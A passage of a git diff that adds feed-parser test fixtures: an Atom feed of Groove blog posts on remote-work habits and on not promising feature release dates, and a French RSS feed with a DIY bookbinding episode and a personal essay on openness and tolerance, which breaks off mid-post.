+&lt;p&gt;There’s been so much written about the value of sleep, and anecdotally, there’s no doubt in my mind that when I have a good night’s sleep, I’m happier and more productive than when I don’t.&lt;/p&gt;
+
+&lt;p&gt;I also know that when I spend all evening working, I sleep much worse than when I give myself time to wind down and relax. That’s why I disconnect around 7PM: disabling push notifications on my phone, closing my email client and stopping myself from checking Twitter “just because.â€&lt;/p&gt;
+
+&lt;h2&gt;6) Listening to Music&lt;/h2&gt;
+
+&lt;p&gt;There’s hardly a time when I’m working that Pandora isn’t on. Like many people I know, having light background noise helps me focus, and it’s a lot more fun than working in silence.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/working-to-music.jpg&quot; title=&quot;Working to music&quot; alt=&quot;Working to music&quot; /&gt;
+&lt;b&gt;Working to music&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Some of my favorite Pandora stations to work to are Van Morrison, Bob Marley, Moby, Kings of Leon, Adele, Avett Brothers, Bruce Springsteen and Bon Iver.&lt;/p&gt;
+
+&lt;h2&gt;7) Standing Desk&lt;/h2&gt;
+
+&lt;p&gt;About two years ago, I switched to working from a standing desk.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/single-founder-loneliness/standingdesk.jpg&quot; title=&quot;Standing Desk&quot; alt=&quot;Standing Desk&quot; /&gt;
+&lt;b&gt;Standing Desk&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Aside from the &lt;a href=&quot;http://www.smithsonianmag.com/science-nature/five-health-benefits-standing-desks-180950259/?no-ist&quot;&gt;health benefits&lt;/a&gt; — which, in fairness, there’s debate over — I find that it simply makes me move more. I’m a lot more likely to pace, or walk to the kitchen for a glass of water, than I would be if I were sitting comfortably. And moving around helps me feel less closed in.&lt;/p&gt;
+
+&lt;h2&gt;8) Sitting Desk&lt;/h2&gt;
+
+&lt;p&gt;As much as I love my standing desk, I also love changing things up.&lt;/p&gt;
+
+&lt;p&gt;Every couple of days, I move my workspace over to the kitchen table.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/sitting-desk.jpg&quot; title=&quot;Sitting Desk&quot; alt=&quot;Sitting desk&quot; /&gt;
+&lt;b&gt;Sitting desk&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;The change of scenery stimulates me, and keeps my environment from feeling stale.&lt;/p&gt;
+
+&lt;h2&gt;9) Exercise&lt;/h2&gt;
+
+&lt;p&gt;Just like sleep, the &lt;a href=&quot;https://blog.bufferapp.com/why-exercising-makes-us-happier&quot;&gt;benefits of exercise&lt;/a&gt; have been discussed ad nauseum.&lt;/p&gt;
+
+&lt;p&gt;What I’ve found to be most is to pick something you actually enjoy; if you hate running, why force yourself to run? You’ll be less likely to make it a habit if you don’t look forward to it. You’re better off playing tennis or basketball or doing something else that makes you happy.&lt;/p&gt;
+
+&lt;p&gt;I actually &lt;em&gt;enjoy&lt;/em&gt; running, so that’s usually what I go with.&lt;/p&gt;
+
+&lt;h2&gt;10) Stretching&lt;/h2&gt;
+
+&lt;p&gt;This is probably the simplest, easiest thing I do that helps me stay sane while working from home.&lt;/p&gt;
+
+&lt;p&gt;It’s also probably something that many people at offices feel less than comfortable doing.&lt;/p&gt;
+
+&lt;p&gt;Every hour or so, I step back from my desk and spend five minutes doing &lt;a href=&quot;http://www.mayoclinic.org/healthy-living/adult-health/multimedia/stretching/sls-20076525&quot;&gt;stretches&lt;/a&gt;. I like how it makes my body feel, but it also helps to have something that keeps you from overworking by building breaks into your day.&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;I also asked the Groove team for their best working-solo advice, and got some great tips:&lt;/em&gt;&lt;/p&gt;
+
+&lt;h2&gt;11) Playtime With the Cats&lt;/h2&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/domino-and-gorilla.jpg&quot; title=&quot;Cats Domino and Gorilla&quot; alt=&quot;Cats Domino and Gorilla&quot; /&gt;
+&lt;b&gt;Cats Domino and Gorilla&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;Mo:&lt;/em&gt; Like Alex’s dog walking, I enjoy spending some quality cuddle time with my own two furry coworkers: Cats Domino and Gorilla. They are the best kind of coworkers in that they don’t distract from getting deep in the work zone when I need to put my head down and crank out tickets, but always remind me when it’s time to take a brain break to chase a string or play fetch with a stuffed mouse (yes, my cats fetch…)&lt;/p&gt;
+
+&lt;h2&gt;12) Meditating&lt;/h2&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/meditation-coach.jpg&quot; title=&quot;Len With His Meditation Coach&quot; alt=&quot;Len With His Meditation Coach&quot; /&gt;
+&lt;b&gt;Len With His Meditation Coach&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;Len:&lt;/em&gt; Meditation doesn’t have to be a religious thing or a spiritual thing. For me, it’s just a great way to step back and relax my brain for a few minutes. I use the &lt;a href=&quot;https://www.headspace.com/&quot;&gt;Headspace&lt;/a&gt; app, which has been absolutely amazing; for 10 minutes a day, it teaches you how to meditate in 10 days.&lt;/p&gt;
+
+&lt;h2&gt;13) Family Time&lt;/h2&gt;
+
+&lt;p&gt;&lt;em&gt;Jordan:&lt;/em&gt; With a two-year old son at home, a change of pace is never far away. My breaks usually involve big trucks, blocks, and a giant sock monkey.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/family-time.jpg&quot; title=&quot;Family Time&quot; alt=&quot;Family Time&quot; /&gt;
+&lt;b&gt;Family Time&lt;/b&gt;&lt;/p&gt;
+
+&lt;h2&gt;14) Playing a Musical Instrument&lt;/h2&gt;
+
+&lt;p&gt;&lt;em&gt;Chris:&lt;/em&gt; I like to keep my saxophone or a guitar sitting close by for those times when I need to clear my head. The really hard problems require whipping out some early Metallica at full volume, more subtle issues will inspire some John Coltrane on the sax. If it’s a really happy day, the neighbors (the local moose family) &lt;em&gt;[Alex note: Chris lives in the Colorado Rockies]&lt;/em&gt; might be tapping their hooves to &lt;em&gt;Let it Go&lt;/em&gt; from Frozen, even in winter. After all, the cold never bothered me anyway :-)&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/staying-sane-working-solo/jamming.jpg&quot; title=&quot;Jamming&quot; alt=&quot;Jamming&quot; /&gt;
+&lt;b&gt;Jamming&lt;/b&gt;&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Life&lt;/h2&gt;
+
+&lt;p&gt;Not all of these tips will be interesting or useful to you.&lt;/p&gt;
+
+&lt;p&gt;But it doesn’t take 14 tips to make an impact. Pick 2-3 that you could see yourself doing, and work on making them regular habits.&lt;/p&gt;
+
+&lt;p&gt;Whether you work from home or in an office, I hope this helps you feel better and get through your day in a more productive and positive way.&lt;/p&gt;
+</content>
+<published>2014-08-21T00:00:00+00:00</published>
+<updated>2014-08-21T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>How Sharing Feature Release Dates Turned Us Into Liars</title>
+<link href='/blog/feature-release-dates' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-08-13:/blog/feature-release-dates</id>
+<content type='html'>&lt;p&gt;We used to share planned feature release dates with our customers. Here's how that ended up hurting us…&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;“I feel like you guys lied to me.â€&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;Ouch.&lt;/p&gt;
+
+&lt;p&gt;This one was going to be tough to explain.&lt;/p&gt;
+
+&lt;p&gt;Just two weeks before, a customer had emailed us. He was a new user, and was having a bit of difficulty using Groove. His business had a pretty unique need that our feature set didn’t support… yet.&lt;/p&gt;
+
+&lt;p&gt;But - we were working on a product update at that very moment — an enhancement to our Rich Text Editor — that would solve his problem.&lt;/p&gt;
+
+&lt;p&gt;I was excited to share that with him, so when I heard about his issue, I checked in with our developers about the status of the development.&lt;/p&gt;
+
+&lt;p&gt;We were almost finished, and right on schedule, with the release expected to be ready in a week.&lt;/p&gt;
+
+&lt;p&gt;So that’s what we told the customer.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/feature-release-dates/dangerous-promise.png&quot; title=&quot;A Dangerous Promise&quot; alt=&quot;A Dangerous Promise&quot; /&gt;
+&lt;b&gt;A Dangerous Promise&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Experienced product folks are shaking their heads right now, because we &lt;em&gt;know&lt;/em&gt; what happens next.&lt;/p&gt;
+
+&lt;p&gt;A week later, we hit a snag in the final stages of testing and find a series of nasty bugs that render the update too unstable to release.&lt;/p&gt;
+
+&lt;p&gt;Because our small team has to balance that project with the everyday work of maintaining the app, supporting our customers and fixing other critical issues, the bugs take another week and half to diagnose and eliminate.&lt;/p&gt;
+
+&lt;p&gt;And while we kept our concerned customer — and everyone else who had requested the feature — updated, it was clear that the episode didn’t make us look very good.&lt;/p&gt;
+
+&lt;p&gt;In fact, he was right. Even though it wasn’t on purpose, we lied.&lt;/p&gt;
+
+&lt;p&gt;It wasn’t the first time something like this had happened — we should’ve known better — but having a customer call us out so directly was a big learning experience for our whole team, and we certainly haven’t let it happen again.&lt;/p&gt;
+
+&lt;h2&gt;Why We No Longer Share Release Dates With Our Customers&lt;/h2&gt;
+
+&lt;p&gt;This may sound obvious to some, or shady and deceptive to others, but in fact, the opposite is true.&lt;/p&gt;
+
+&lt;p&gt;Let me explain.&lt;/p&gt;
+
+&lt;p&gt;When you share a release date, and it turns out to be wrong, &lt;em&gt;you lose your customers’ trust&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;As product teams, we should &lt;em&gt;know&lt;/em&gt; that unexpected issues happen quite often, and that planned release dates aren’t always accurate. While we do our best to plan our efforts well and forecast our progress accurately, things don’t always go the way we hope they do.&lt;/p&gt;
+
+&lt;p&gt;So if we promise a delivery date to our customers, even if we hit our milestones more often than not — which we do — just one missed goal turns us into liars.&lt;/p&gt;
+
+&lt;p&gt;So by &lt;em&gt;not&lt;/em&gt; sharing release dates, we’re being more honest — the truth is, &lt;em&gt;we don’t know&lt;/em&gt; exactly when the release will be — than the alternative.&lt;/p&gt;
+
+&lt;p&gt;In business, a customer’s trust is what we work hardest to gain. Once you have it, it’s easy to lose, and incredibly difficult to get back.&lt;/p&gt;
+
+&lt;p&gt;We’re always working to get better at hitting our development milestones, and frankly, we’ve gotten &lt;em&gt;much&lt;/em&gt; better at it.&lt;/p&gt;
+
+&lt;p&gt;Still, we can’t — and won’t — risk letting down our customers by misleading them on our feature roadmap. It’s not just a development issue, but a communications one.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Not sharing release dates may seem dishonest, but it’s not. In our case, we know that we don’t hit our milestones 100% of the time, so we’d rather be honest about not being able to perfectly predict the future, than use our goals to make promises that we may be forced to break.&lt;/p&gt;
+
+&lt;h2&gt;Three Steps We’ve Taken to Solve This Problem&lt;/h2&gt;
+
+&lt;h3&gt;1) No Product Announcements Until the Product Is Ready.&lt;/h3&gt;
+
+&lt;p&gt;This is, by far, the easiest and best way to protect your business from accidentally lying to your customers.&lt;/p&gt;
+
+&lt;p&gt;As startups, we run into &lt;em&gt;a lot&lt;/em&gt; of obstacles. And unfortunately, there’s often a lot of bad news.&lt;/p&gt;
+
+&lt;p&gt;We can’t build everything we want, and we can’t fix everything we want to fix as quickly as every customer wants us to fix it.&lt;/p&gt;
+
+&lt;p&gt;Some days, there’s nothing we want more than to give a frustrated customer good news; to tell them that their issue would be fixed tomorrow, or next week.&lt;/p&gt;
+
+&lt;p&gt;It’s tempting, but it’s simply too risky. That’s why we’ve decided to &lt;em&gt;never&lt;/em&gt; announce new features until they’re staged and functioning well enough to release to our customers.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; As tempting as it is, don’t announce &lt;em&gt;anything&lt;/em&gt; until it’s ready. This one simple rule can guarantee that you’ll never lie to your customers about release dates.&lt;/p&gt;
+
+&lt;h3&gt;2) Only Give Customers Info You Know to Be 100% True.&lt;/h3&gt;
+
+&lt;p&gt;While we won’t give release dates, we &lt;em&gt;are&lt;/em&gt; honest and transparent about what we’re working on.&lt;/p&gt;
+
+&lt;p&gt;We publish frequent development updates on our &lt;a href=&quot;http://www.groovehq.com/better&quot;&gt;Better blog&lt;/a&gt;, and we do our best to communicate to customers that we’re working hard to solve their issues, even if we can’t give them a specific time that it’ll be fixed.&lt;/p&gt;
+
+&lt;p&gt;As an example, this is what we recently told a customer who’s running into a problem that’ll be solved by a feature currently in development:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/feature-release-dates/new-approach.png&quot; title=&quot;A New Approach&quot; alt=&quot;A New Approach&quot; /&gt;
+&lt;b&gt;A New Approach&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;I have no doubt that this approach costs us some customers with critical issues who are on their way out the door.&lt;/p&gt;
+
+&lt;p&gt;And while there’s nothing I hate more than having a customer leave — it feels like a punch in the gut, and it never, ever, ever gets easier — I’d rather lose them (and potentially have them come back when we can better solve their problem) than lose their trust and business forever.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Not sharing release dates doesn’t mean that you can’t — and shouldn’t — be completely honest and upfront about what your development team is working on. You should still let customers know that you’re working hard to help them.&lt;/p&gt;
+
+&lt;h3&gt;3) Better Communications Between Development and Support.&lt;/h3&gt;
+
+&lt;p&gt;We’ve always focused on communication. As a remote team, you &lt;em&gt;have to&lt;/em&gt; if you want to have any hope of success.&lt;/p&gt;
+
+&lt;p&gt;But in this instance, there was a specific communication gap that we needed to fill to solve this problem.&lt;/p&gt;
+
+&lt;p&gt;On our weekly team calls, we’ve started diving deeper into the development roadmap — not just that week’s to-do’s, but how the future roadmap looks, and whether or not it’s changed from the week before — so that our whole team has a better understanding of the features we’re working on and releasing.&lt;/p&gt;
+
+&lt;p&gt;And Mo, our head of customer support, has become &lt;em&gt;very&lt;/em&gt; involved in our development roadmap, spending quite a bit of time logging issues in Pivotal Tracker so that the dev team always knows where the biggest customer pain points and opportunities are. We recently shared that &lt;a href=&quot;http://www.groovehq.com/blog/managing-bugs-and-feature-requests&quot;&gt;workflow&lt;/a&gt; on this blog.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; This isn’t just a &lt;em&gt;customer&lt;/em&gt; communication issue, but a &lt;em&gt;team&lt;/em&gt; communication issue, too. Make sure that your developers and support team are on the same page and supporting one another to help your customers in the most thorough way they can.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;If you hit your development milestones 100% of the time with zero unexpected delays, and know for a fact that you’ll continue to do so forever, then you probably don’t need this advice.&lt;/p&gt;
+
+&lt;p&gt;But unfortunately, for most startups and small businesses, this simply isn’t the reality.&lt;/p&gt;
+
+&lt;p&gt;It can be tempting to try and keep a customer happy by promising them a solution by a certain date, but &lt;em&gt;don’t do it&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;If you turn out to be right, the customer is pleased.&lt;/p&gt;
+
+&lt;p&gt;If you turn out to be wrong, you may lose their trust forever.&lt;/p&gt;
+
+&lt;p&gt;As obvious as it seems, it’s an issue that’ve been battling and we were finally forced to face. I’m glad we did, and I hope that our experience helps you do the same.&lt;/p&gt;
+</content>
+<published>2014-08-13T00:00:00+00:00</published>
+<updated>2014-08-13T00:00:00+00:00</updated>
+</entry>
+</feed>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/grotte_barbu.xml b/vendor/fguillot/picofeed/tests/fixtures/grotte_barbu.xml
new file mode 100644
index 000000000..5bd0940e0
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/grotte_barbu.xml
@@ -0,0 +1,396 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<rss version="2.0"
+ xmlns:content="http://purl.org/rss/1.0/modules/content/"
+ xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:atom="http://www.w3.org/2005/Atom"
+ xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
+ xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
+ >
+
+<channel>
+ <title>La Grotte Du Barbu</title>
+ <atom:link href="http://www.lagrottedubarbu.com/feed/" rel="self" type="application/rss+xml" />
+ <link>http://www.lagrottedubarbu.com</link>
+ <description>Entrez dans le monde mystérieux des barbus...</description>
+ <lastBuildDate>Tue, 02 Apr 2013 13:20:24 +0000</lastBuildDate>
+ <language>en</language>
+ <sy:updatePeriod>hourly</sy:updatePeriod>
+ <sy:updateFrequency>1</sy:updateFrequency>
+ <generator>http://wordpress.org/?v=3.0.1</generator>
+ <item>
+ <title>LaGrotteDuBarbu &#8211; Episode 105 &#8211; ReliureToiMeme</title>
+ <link>http://www.lagrottedubarbu.com/2013/04/01/lagrottedubarbu-episode-105-reliuretoimeme/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/04/01/lagrottedubarbu-episode-105-reliuretoimeme/#comments</comments>
+ <pubDate>Mon, 01 Apr 2013 09:01:50 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[2013]]></category>
+ <category><![CDATA[Podcast]]></category>
+ <category><![CDATA[Video]]></category>
+ <category><![CDATA[barbu]]></category>
+ <category><![CDATA[ciseaux]]></category>
+ <category><![CDATA[colle]]></category>
+ <category><![CDATA[diy]]></category>
+ <category><![CDATA[grotte]]></category>
+ <category><![CDATA[papier]]></category>
+ <category><![CDATA[reliure]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1195</guid>
+ <description><![CDATA[Cette semaine, on tente de relier des feuilles pour en [...]]]></description>
+ <content:encoded><![CDATA[<p>Cette semaine, on tente de relier des feuilles pour en faire des carnets, avec de la colle vinyle, un pinceau… et surtout avec l&#8217;ami PYM eu supra guest barbu!</p>
+<p><iframe width="640" height="360" src="http://www.youtube.com/embed/2QZyXlWsCo4" frameborder="0" allowfullscreen></iframe></p>
+<p>Ce dont vous avez besoin pour cet épisode:<br />
+- des feuilles, du papier, des trucs que vous allez coller… perso j&#8217;ai pris du papier complètement standard A4 / 80g<br />
+- deux morceaux de bois de taille plus ou moins identique<br />
+- deux vis, écrous à ailettes, deux washers (me souviens jamais du nom de ces trucs en FR)<br />
+- une perceuse<br />
+- un foret à bois du bon diamètre (pour faire passer les vis)<br />
+- du tissu pour reliure (c&#8217;est pas super cher et vous en utilisez très peu)<br />
+- de la colle vinyl<br />
+- un pinceau pourri / jetable<br />
+- éventuellement du carton pour faire le dos du carnet<br />
+- des ciseaux, cutter ou scalpel pour découper votre papier (et une règle et un tapis de découpe ça vous évitera de ruiner la table qui est en dessous)</p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_8.jpg" alt="Ep105 8" title="ep105_8.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_7.jpg" alt="Ep105 7" title="ep105_7.jpg" border="0" /></p>
+<p>Le fichier de mes super todolist est disponible ici… au format <a href="http://www.lagrottedubarbu.com/fichiers/ep105/todo.ai">illustrator</a> ou <a href="http://www.lagrottedubarbu.com/fichiers/ep105/todo.pdf">pdf</a> vous pouvez les imprimer, modifier comme vous voulez.</p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_9.jpg" alt="Ep105 9" title="ep105_9.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_10.jpg" alt="Ep105 10" title="ep105_10.jpg" border="0" /></p>
+<p>Quelques remarques<br />
+- d&#8217;abord je n&#8217;ai pas pour l&#8217;instant trouvé de solution pour microter correctement mes invités, donc les prochains devront parler plus fort, je réfléchis au problème et essayes de trouver une solution sous peu<br />
+- Moi j&#8217;adore me fabriquer des carnets rigolos et pas communs. Celui pour les courses est juste ultra pratique, je vais je penses rajouter un aimant dans le dos pour pouvoir le coller au frigo et l&#8217;avoir tout le temps sous la main<br />
+- c&#8217;est un projet qui demande pas beaucoup de matériel et qui est pas cher… le plus chiant à trouver reste le tissu pour la reliure (et encore <a href="https://www.google.fr/search?q=tissu+reliure&#038;aq=f&#038;oq=tissu+reliure&#038;aqs=chrome.0.57j60j65j59j60j61.2236j0&#038;sourceid=chrome&#038;ie=UTF-8">en cherchant un peu on trouve&#8230;</a> apparemment ils appellent ça mousseline un morceau de 65&#215;100 cm coute 1 euro)<br />
+- je vous conseille d&#8217;acheter la colle vinyle en grand pot d&#8217;un litre, ça coute trois euros environ et ça peut servir à pleins de projets différents<br />
+- je ne suis clairement pas un spécialiste (mais je penses que ça se voit), mon but est de noyer la zone sous la colle pour que ça tienne, ça marche (bon pas à chaque fois, hein PYM?) mais ça a tendance à faire gondoler le papier qui a été noyé sous l&#8217;encre. Perso je m&#8217;en tapes, mais je préfère prévenir.<br />
+- Alors, j&#8217;adore les scalpels et pour plusieurs raisons, la première c&#8217;est que c&#8217;est un outil qui ne demande pas de maintenance, pas de lame à casser, pas de truc à aiguiser, dès que la lame coupe moins bien, on la change direct. Ensuite les pro l&#8217;utilisent donc il doit y avoir une raison. Enfin le prix, 2,70€ pour un manche standard… et suivant les packagings entre 8 et 15 euros pour 50 ou 100 lames de bistouri. Perso je prends du N°11 (la lame est droite sur toute la longueur) mais là aussi suivant les travaux que vous avez à réaliser vous pouvez choisir une autre forme. Les lames et les manches sont trouvables aussi bien en ligne, qu&#8217;en les commandant chez votre pharmacien (bon après je vous garanti pas une réputation sans tâche, mais…)</p>
+<p>Quelques photos du résultat:</p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_12.jpg" alt="Ep105 12" title="ep105_12.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_1.jpg" alt="Ep105 1" title="ep105_1.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_2.jpg" alt="Ep105 2" title="ep105_2.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_3.jpg" alt="Ep105 3" title="ep105_3.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_4.jpg" alt="Ep105 4" title="ep105_4.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_5.jpg" alt="Ep105 5" title="ep105_5.jpg" border="0" /></p>
+<p><img src="http://www.lagrottedubarbu.com/wp-content/uploads/2013/04/ep105_6.jpg" alt="Ep105 6" title="ep105_6.jpg" border="0" /></p>
+<p class="wp-flattr-button"></p>]]></content:encoded>
+ <wfw:commentRss>http://www.lagrottedubarbu.com/2013/04/01/lagrottedubarbu-episode-105-reliuretoimeme/feed/</wfw:commentRss>
+ <slash:comments>9</slash:comments>
+ </item>
+ <item>
+ <title>LaGrotteDuBarbu / OpenSource Hardware / Hackers &#8211; une ouverture qui ne se limite pas aux machines…</title>
+ <link>http://www.lagrottedubarbu.com/2013/03/19/lagrottedubarbu-opensource-hardware-hackers-une-ouverture-qui-ne-se-limite-pas-aux-machines%e2%80%a6/</link>
+ <comments>http://www.lagrottedubarbu.com/2013/03/19/lagrottedubarbu-opensource-hardware-hackers-une-ouverture-qui-ne-se-limite-pas-aux-machines%e2%80%a6/#comments</comments>
+ <pubDate>Tue, 19 Mar 2013 08:51:34 +0000</pubDate>
+ <dc:creator>babozor</dc:creator>
+ <category><![CDATA[Divers]]></category>
+
+ <guid isPermaLink="false">http://www.lagrottedubarbu.com/?p=1182</guid>
+ <description><![CDATA[Hier j'ai été interpelé par Atg qui me demande "@lag [...]]]></description>
+ <content:encoded><![CDATA[<p>Hier j&#8217;ai été interpelé par <a href="http://twitter.com/13Atg">Atg</a> qui me demande &#8220;@lagrottedubarbu Le Barbu, il soutient &#8220;MariagePourTous&#8221; ? C&#8217;est juste pour savoir&#8230;&#8221;<br />
+Machinalement je lui répond &#8220;@13Atg évidemment… si les gens veulent se marier peu importe leur orientation sexuelle (et je vois toujours pas pourquoi on interdis ça)&#8221;<br />
+<em>Et puis cette nuit j&#8217;y ai réfléchi (oui je fais ça des fois la nuit) et je penses que ça mérite explication et approfondissement</em></p>
+<p><strong>Un mec normal, ou presque&#8230;</strong><br />
+Avant de parler de tous ces sujets qui fâchent, il est bon de rappeler en quelques lignes, qui je suis… je suis un homme, blanc, hétérosexuel, séparé, père d&#8217;une gamine de 7 ans, de nationalité française, ça paraît bête de dire ça comme ça, mais globalement personne ne m&#8217;a vraiment haït pour qui je suis (pour ce que j&#8217;ai fais ou mes choix c&#8217;est un autre problème, mais la discussion n&#8217;est pas là). Si j&#8217;avais été une femme, noire, lesbienne, éthiopienne le trip aurait été je penses beaucoup plus violent… rien que pour rentrer sur le territoire français, chercher du boulot, louer un appartement, etc.<br />
+J&#8217;ai toujours été bizarre, à la marge… j&#8217;ai toujours été le plus grand de ma classe, le plus balèze, celui qu&#8217;on met au fond de la classe pour pas gêner les plus petits (sinon ils voient pas le tableau les pauvres choux) j&#8217;aurais dû faire du foot avec les autres, mais je préférais jouer aux jeux de rôles avec mes autres potes zarbis, j&#8217;aurais dû devenir chef de projet technique à Paris bien payé, au lieu de ça, je finis à démonter des fours dans ma grotte à la campagne (et franchement je kiffe ça) … mais ce n&#8217;est ni mon sexe, ni ma couleur de peau qui me l&#8217;a imposé, cela a été un choix ou une envie, rien d&#8217;imposé.<br />
+J&#8217;ai passé une bonne dizaine d&#8217;année à trouver ma place par rapport au reste de la société aux pratiques et goûts auxquels je n&#8217;adhérait pas (le foot ou la télé qui sont de bons exemples pour moi), j&#8217;ai admis et assumé ma bizarrerie et j&#8217;en suis aujourd&#8217;hui heureux.</p>
+<p><strong>L&#8217;ouverture une philosophie à appliquer partout</strong><br />
+Je prône à tout va l&#8217;ouverture et le partage… que ce soit sous forme numérique ou physique, j&#8217;adore partager, découvrir de nouvelles choses, rencontre les gens, discuter, découvrir des nouveaux outils, matériaux, techniques, etc… dès tout petit j&#8217;aimais démonter des trucs pour savoir comment ils étaient fait, ce qui il y avait dedans et ça n&#8217;a pas changé.<br />
+Cette philosophie j&#8217;essayes de la pratiquer partout et avec tous, j&#8217;essayes de privilégier les rapports humains, ce que 15 ans de développement web m&#8217;a appris, c&#8217;est que ce sont les gens qui font le succès d&#8217;un projet, pas le budget ou la technologie employée… et de prêcher la bonne parole là où je peux.<br />
+J&#8217;avoues &#8220;j&#8217;essayes&#8221; d&#8217;être ouvert d&#8217;esprit… ça ne marche pas tout le temps, je dois combattre en permanence mon éducation, qu&#8217;elle ait été mise en place par la société (école, université, taloche, journaux) par les parents, ou via la pression sociale (les voisins, les amis, les connaissances, etc). Il y a des choses sur lesquelles je suis très réceptif et d&#8217;autres trucs beaucoup moins… j&#8217;ai encore un temps de latence suivant la façon dont la personne est habillée ou se comporte (par exemple j&#8217;aurais du mal au premier abord à aller taper la discut avec un punk à chien, pour toutes les raisons que j&#8217;ai cités plus haut).</p>
+<p><strong>La liberté au dessus de tout</strong><br />
+J&#8217;ai choisi de me raser le crâne (bon mon manque de cheveux m&#8217;y a un peu aidé), de me laisser pousser la barbe, de balancer toutes mes âneries sur le web, de partager avec vous mes bizarreries, et je ne supportes pas l&#8217;idée que quelqu&#8217;un puisse ne serais ce qu&#8217;envisager de penser à m&#8217;interdire de le faire.<br />
+Du moment que vous n&#8217;imposez pas votre choix aux autres, que vous ne les forcez pas d&#8217;une façon ou d&#8217;une autre à faire quelque chose dont ils n&#8217;ont pas envie, pour moi vous avez toute liberté.<br />
+Peu importe la couleur de votre peau, vos préférences ou déviances sexuelles (et on pourrait revenir sur la définition traditionnelle de déviance qui suivant les époques et pays est a géométrie variable), c&#8217;est votre vie et rien ne me donne le droit (même pas celui d&#8217;être un homme blanc hétéro français au contraire de l&#8217;opinion publique) de vous dire ce que vous devez faire.<br />
+Ce sujet est particulièrement personnel pour moi, puisque mon frère est gay, marié depuis plus d&#8217;une décennie avec son mari, installé à Amsterdam et jusqu&#8217;à preuve du contraire heureux.</p>
+<p><strong>Prendre conscience et corriger</strong><br />
+Ce qui m&#8217;a fait me retourner dans mon lit cette nuit, ce n&#8217;est pas cette question d&#8217;orientation sexuelle, ou d&#8217;ouverture d&#8217;esprit que je prône, mais toutes les petites choses, ces expressions, qui sont profondément ancrées dans notre culture, dans le langage et que je continue à employer:<br />
+&#8220;un truc de meuf&#8221; pour dire que c&#8217;est un truc pourri<br />
+&#8220;un truc de mec&#8221; pour dire que c&#8217;est un truc viril et solide<br />
+et toutes les autres conneries que je balance régulièrement (je suis sûr que y&#8217;a pleins d&#8217;autres exemples, mais là c&#8217;est les deux seuls qui me viennent à l&#8217;esprit).<br />
+Le but ici n&#8217;est pas non plus de m&#8217;auto-censuré pour éviter le courroux de tel ou tel groupe (parceque en fait je m&#8217;en tapes de ce que les autres pensent) mais c&#8217;est plus de prendre conscience de ces paroles et d&#8217;essayer de les déminer, de savoir pourquoi on les dit, qu&#8217;est ce que ça implique, etc… et de tenter de corriger le tir.</p>
+<p><strong>Ma fille comme &#8220;constant reminder&#8221;</strong><br />
